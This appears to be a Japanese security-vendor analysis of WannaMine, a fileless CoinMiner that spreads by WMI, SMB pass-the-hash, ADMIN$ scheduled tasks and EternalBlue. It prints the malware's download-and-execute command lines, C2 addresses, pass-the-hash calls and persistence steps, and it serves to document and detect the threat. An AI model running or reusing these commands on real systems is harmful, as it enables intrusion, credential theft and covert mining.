ファイルレス形式で動作するWannaMine(SMB脆弱性)

最近、CoinMiner の拡散方式が少しずつ多様化している。 近年では「WannaMine」というファイルレス(Fileless)形式のCoinMinerマルウェアが、拡散のためにSMBの脆弱性だけでなく、WMI(Windows Management Instrumentation)、ADMIN$ 共有フォルダ、SMB によるリモートデスクトップサービスの登録、および起動する方式を使用していることが確認された。

WannaMine の全体的な動作方式は、最初の感染 PC で「sysupdater0.bat」ファイルが実行されると、感染 PC のシステム OS によって、Windows XP の場合、PowerShell を使用できないため、外部から VB スクリプトファイル(*.vbs)をダウンロードし、「cscript.exe」によって実行する。また、Windows Vista 以上の場合は PowerShell スクリプト(*.ps1)をダウンロードし、「powershell.exe」によって実行する。二つの方式は両方ともスクリプト形式(*.vbs、*.ps1)は異なるが内部機能は同じであり、ダウンロードしたスクリプト内部にエンコード(Encoding)された CoinMiner および Mimikaz ハッキングツール、Eternalblue シェルコード(MS17-010)を実行して被害を与える。拡散方式として主に135ポートと445ポートを通して拡散を試みており、135ポートの場合 WMI コマンドを利用してリモート先のシステムの「cmd.exe」を起動し、外部ファイルをダウンロードして実行する。445ポートの場合、SMB 脆弱性(MS17-010)によって拡散する方式と、ADMIN$ 共有フォルダによる拡散、SMB によるリモートデスクトップサービス登録および起動する方式の3種類を使用する。

[図1] sysupdater0.bat の内容

最初に感染した PC が Windows Vista 以上の場合、外部からダウンロードした PowerShell スクリプトは「DownloadString」関数を使用してファイルレス(Fileless)形式で動作する。

Windows バージョンアーキテクチャPowerShell スクリプトダウンロード URL
Vista 以上x64hxxps://profetestruec.net/in6.ps1
hxxps://128.14.23.149/in6.ps1
hxxps://5.135.125.71/in6.ps1
hxxps://172.247.116.87/in6.ps1
hxxps://172.247.116.8/in6.ps1
x86hxxps://profetestruec.net/in3.ps1 
hxxps://128.14.23.149/in3.ps1 
hxxps://5.135.125.71/in3.ps1 
hxxps://172.247.116.87/in3.ps1 
hxxps://172.247.116.8/in3.ps1
XP 以下x64/x86hxxps://profetestruec.net/info.vbs
hxxps://128.14.23.149/info.vbs
hxxps://5.135.125.71/info.vbs
hxxps://172.247.116.87/info.vbs
hxxps://172.247.116.8/info.vbs
[表1] OS による PowerShell スクリプトダウンロード URL
  1. ダウンロードされた PowerShell スクリプトの機能 (in3.ps1、in6.ps1)

in3.ps1(x86基準)スクリプトには、Windows のアカウント情報奪取のための Mimikatz や SMB 脆弱性(MS17-010)拡散のための Eternalblue シェルコード、CoinMiner 等が BASE64 で暗号化した形で含まれており、感染 PC の WMI クラスにこれを登録(systemcore_Updater4)した後、PowerShell コマンドでこれを実行する。

WMIクラス(root\default: systemcore_Updater4)のプロパティ
funsEternalblue、リモートデスクトップサービスの生成および実行、リモートによるスケジューラの登録および実行等の機能を実行する中核の PowerShell スクリプト
mimiユーザー認証情報奪取のための Mimikatz
monCoinMiner バイナリ(1) (in3.ps1により powershell.exe にインジェクションされる)
monsCoinMiner バイナリ(2) (schtasks.exeにCoinMiner をインジェクションするバイナリ)
scEternalblue の拡散に使用されるシェルコード
[表2] ダウンロードされた PowerShell スクリプトが登録する WMI クラスのプロパティ

WMI クラスのプロパティにペイロードを登録すると、不正な PowerShell スクリプトはネットワーク拡散と CoinMiner プロセスの実行前に、持続性の維持のためシステムに WMI のイベントフィルタ(Event Filter)とコンシューマー(Consumer)を利用する。

2. WMI イベントフィルタ登録

マルウェアが感染PCに常駐するための広く知られている手法であり、レジストリ Run あるいは RunOnce キー等に自身を登録する方法がある。しかし、WannaMine の場合は WMI のイベントフィルタとコンシューマーを設定した後、FilterToConsumerBinding を通して登録したイベントフィルタとコンシューマーを接続するため、再起動時にも不正な PowerShell スクリプトが動作するようになる。

[図2] WannaMine が登録した WMI イベントフィルタ

この WQL クエリがイベントフィルタに登録されると、システムの再起動後、4~5分後に以下の PowerShell コマンドが実行される。

powershell.exe -NoP -NonI -W Hidden –E 「エンコードされたスクリプト」

エンコードされたスクリプトの機能は、in3.ps1(x86基準)の一部をエンコードしたものであり、CoinMiner の拡散行為や、感染 PC に CoinMiner プロセスを実行する行為、特定のポートで通信する PowerShell のプロセスを終了させる行為を実行する。

3. 特定のポートで通信する PowerShell プロセスの終了

現在、システムに開放されたポートのうち、3333番ポート、5555番ポート、7777番ポートで通信を行うプロセスがある場合は終了する。

$tcpconn = netstat -anop tcp…foreach ($t in $tcpconn){$line =$t.split(‘ ‘)| ?{$_}if ($line -eq $null){continue}if (($line[-3].contains(“:3333”) -or $line[-3].contains(“:5555”)-or $line[-3].contains(“:7777”)) -and $t.contains(“ESTABLISHED”)){$evid=$line[-1]Get-Process -id $evid | stop-process -force}}

4. 感染 PC の節電モード設定の変更

他にも、コインマイニング中にシステムが終了しないようにシステムの電源設定を変更する。

powercfg /CHANGE -standby-timeout-ac 0システムが AC 電源で動作しているとき、待機モードに切り替わらないように設定
powercfg /CHANGE -hibernate-timeout-ac 0システムが AC 電源で動作しているとき、最大節電モードに切り替わらないように設定
Powercfg -SetAcValueIndex 381b4222-f694-41f0-
9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
ノートパソコンの場合、カバーを閉じても節電モードに入らないように設定

5. 拡散方式

WannaMine は感染 PC のネットワークアダプタ設定を確認し、現在の IP アドレスとサブネットマスクを基準にランダムなIPに拡散機能を実行する。この時、リモート PC に RPC DCOM(135番ポート) と SMB(445番ポート) に接続しているかに応じて、異なる拡散方式を使用している。

1)    RPC DCOM (135番ポート)

(1)   WMI を利用してリモートプロセスを実行

攻撃者は、ネットワーク拡散前に Mimikatz ハッキングツールを利用して NTLM ハッシュ値を取得する。取得した NTLM ハッシュ値によって、クライアント側のローカル管理者権限がなくてもリモートコマンドを実行できる。

$cmd 変数に入れられる文字列は、リモート先 PC の OS が Vista 以上の場合は $cmdps、XP 以下の場合は $cmdvbs が含まれる。

NTLM ハッシュが存在する場合Invoke-WmiMethod -class win32_process -name create -Argumentlist $cmd -Credential $cred -Computername $IP
Invoke-WMIpth -Target $ip -Username $user -Hash $ntlmhash
Invoke-WMIpth -Target $ip -domain $domain -Username $user -Hash $ntlmhash
Invoke-WMIpth -Target $ip -Username “administrator” -Hash $ntlmhash
Invoke-WMIpth -Target $ip -Username ‘administrator’ -Hash $ntlmhash -command $cmdntlm
NTLM ハッシュが存在しない場合
(コマンド実行のためにローカル管理者権限が必要)
Invoke-WmiMethod -class win32_process -name create -Argumentlist $cmd -Credential $cred -Computername $IP
$cmdvbs =”cmd /v:on /c for /f `”tokens=2 delims=.[`” %i in (‘ver’) do (set a=%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&@echo Set ox=CreateObject^(`”MSXML2.XMLHTTP`”^)>>%windir%\11.vbs&@echo ox.open `”GET`”,`”$nic/info.vbs`”,false>>%windir%\11.vbs&@echo ox.send^(^)>>%windir%\11.vbs&@echo If ox.Status=200 Then>>%windir%\11.vbs&@echo Set oas=CreateObject^(`”ADODB.Stream`”^)>>%windir%\11.vbs&@echo oas.Open>>%windir%\11.vbs&@echo oas.Type=1 >>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile `”%windir%\info.vbs`”,2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\11.vbs&@echo End if>>%windir%\11.vbs&@echo Set os=CreateObject^(`”WScript.Shell`”^)>>%windir%\11.vbs&@echo os.Exec^(`”cscript.exe %windir%\info.vbs`”^)>>%windir%\11.vbs&cscript.exe %windir%\11.vbs) else (powershell `”[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};`$aa=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if((`$aa -eq `$null) -or !`$aa.contains(‘$filter_name’)) {if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(’64’)){IEX(New-Object Net.WebClient).DownloadString(‘$nic/in6.ps1’)}else{IEX(New-Object Net.WebClient).DownloadString(‘$nic/in3.ps1’)}}`”)”
$cmdps =”cmd /c powershell.exe -NoP -NonI -W Hidden `”[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(’64’)){IEX(New-Object Net.WebClient).DownloadString(‘$nic/in6.ps1’)}else{IEX(New-Object Net.WebClient).DownloadString(‘$nic/in3.ps1’)}`””
[図3] Invoke-WmiMethod コマンド実行時のパケット(RemoteCreateInstance)

2)    SMB(445番ポート) 

(1)   SMB プロトコルを利用したサービスの生成

リモート PC でサービスを実行するために RPC DCOM(135番ポート)と同じく NTLM ハッシュが必要であり、存在しない場合はリモート先の PC のローカル管理者権限が必要である。

NTLM ハッシュが存在する場合Invoke-SMBpth -Target $ip -domain $domain -Username $User -Hash $passwd -command $cmd
NTLM ハッシュが存在しない場合
(コマンド実行のためにローカル管理者権限が必要)
Invoke-SMBExec -Target $ip -domain $domain -Username $User -Password $passwd -command $cmd
[図4] SMB を利用したサービス生成関連のパケット(「OAAUXMKLQWJDQPJFTIGT」サービス生成)
[図5] リモート PC 「OAAUXMKLQWJDQPJFTIGT」サービスの生成

(2)   共有フォルダを利用したタスクスケジューラの生成

$echotxt | out-file  \\$ip\Admin$\Temp\sysupdater0.bat -encoding ascii
schtasks /create /s $ip   /sc weekly /ru “NT authority\system” /TN “sysupdater0” /TR  “c:\windows\temp\sysupdater0.bat” /U $username /P $passwd /f
$echotxt =”setlocal EnableDelayedExpansion & for /f `”tokens=2 delims=.[`” %%i in (‘ver’) do (set a=%%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&@echo Set ox=CreateObject^(`”MSXML2.XMLHTTP`”^)>>%windir%\11.vbs&@echo ox.open `”GET`”,`”$nic/info.vbs`”,false>>%windir%\11.vbs&@echo ox.send^(^)>>%windir%\11.vbs&@echo If ox.Status=200 Then>>%windir%\11.vbs&@echo Set oas=CreateObject^(`”ADODB.Stream`”^)>>%windir%\11.vbs&@echo oas.Open>>%windir%\11.vbs&@echo oas.Type=1 >>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile `”%windir%\info.vbs`”,2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\11.vbs&@echo End if>>%windir%\11.vbs&@echo Set os=CreateObject^(`”WScript.Shell`”^)>>%windir%\11.vbs&@echo os.Exec^(`”cscript.exe %windir%\info.vbs`”^)>>%windir%\11.vbs&cscript.exe %windir%\11.vbs) else (setlocal DisableDelayedExpansion&powershell `”[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}; `$aa=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if((`$aa -eq `$null) -or !`$aa.contains(‘$filter_name’)) {if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(’64’)){IEX(New-Object Net.WebClient).DownloadString(‘$nic/in6.ps1’)}else{IEX(New-Object Net.WebClient).DownloadString(‘$nic/in3.ps1’)}}`”)”

(3)   SMB 脆弱性(MS17-010)の伝播

以下の [図6] 、[図7] は、リモート PC に Eternalblue の脆弱性試行プロセスにおいてキャプチャされたパケットである。Eternalblue の脆弱性の発現が成功した場合、リモート PC の OS に応じて不正な PowerShell スクリプトがファイルレス形式でダウンロードおよび実行される。

アーキテクチャPowerShell スクリプトダウンロード URL
x64hxxp://profetestruec.net:8000/ze6.ps1
x86hxxp://profetestruec.net:8000/ze3.ps1
[表3] OS による PowerShell スクリプトダウンロード URL
[図6] Eternalblue のパケット転送
[図7] Eternalblue のパケットの内部シェルコード

Eternalblue の脆弱性に加え、WMI、ADMIN$ 共有フォルダ、リモートデスクトップサービスの登録等の拡散方式はシステムから提供される正常な機能であり、攻撃者はこれを CoinMiner の拡散に利用しているため、ネットワークパケットだけで不正か正常かを判断することが困難である。したがって、ユーザーは攻撃者が SMB、WMI プロトコルを悪用できないようにデフォルトのポートを変更したり、当該サービスが不要な場合は無効化したりしておくことも考慮する必要がある。

現在アンラボでは、SMB や WMI プロトコルにより被害を受けた PC で異常な行為が発生した場合、以下の診断名で行為の検知およびブロックを行っている。

最終的に不正な行為を実行する Miner は powershell.exe、または schtask.exe に Injection されて動作し、XMRig のバージョン2.14.1マイナーである。

[ファイルの診断]

BAT/Downloader (2019.08.25.00)

VBS/Downloader (2019.08.25.00)

Script/Powershell (2019.08.25.00)

Trojan/Win32.CoinMiner (2019.04.11.07, 2019.08.25.00)

[行為の診断]

(1)   RPC DCOM(135番ポート)を利用して拡散する場合

–       Malware/MDP.Behavior.M2330// wmiprvse.exeがPowerShell スクリプトを実行する行為をブロック

(2)   SMB プロトコル(445番ポート)を利用したサービスの生成

–       Malware/MDP.Behavior.M2324// 外部スクリプトファイルダウンロード機能のサービスを登録する行為をブロック

[V3 IPSブロック]

–       Eternalblue 脆弱性のパケット検知

0 0 vote
評価する
guest
0 コメント
Inline Feedbacks
View all comments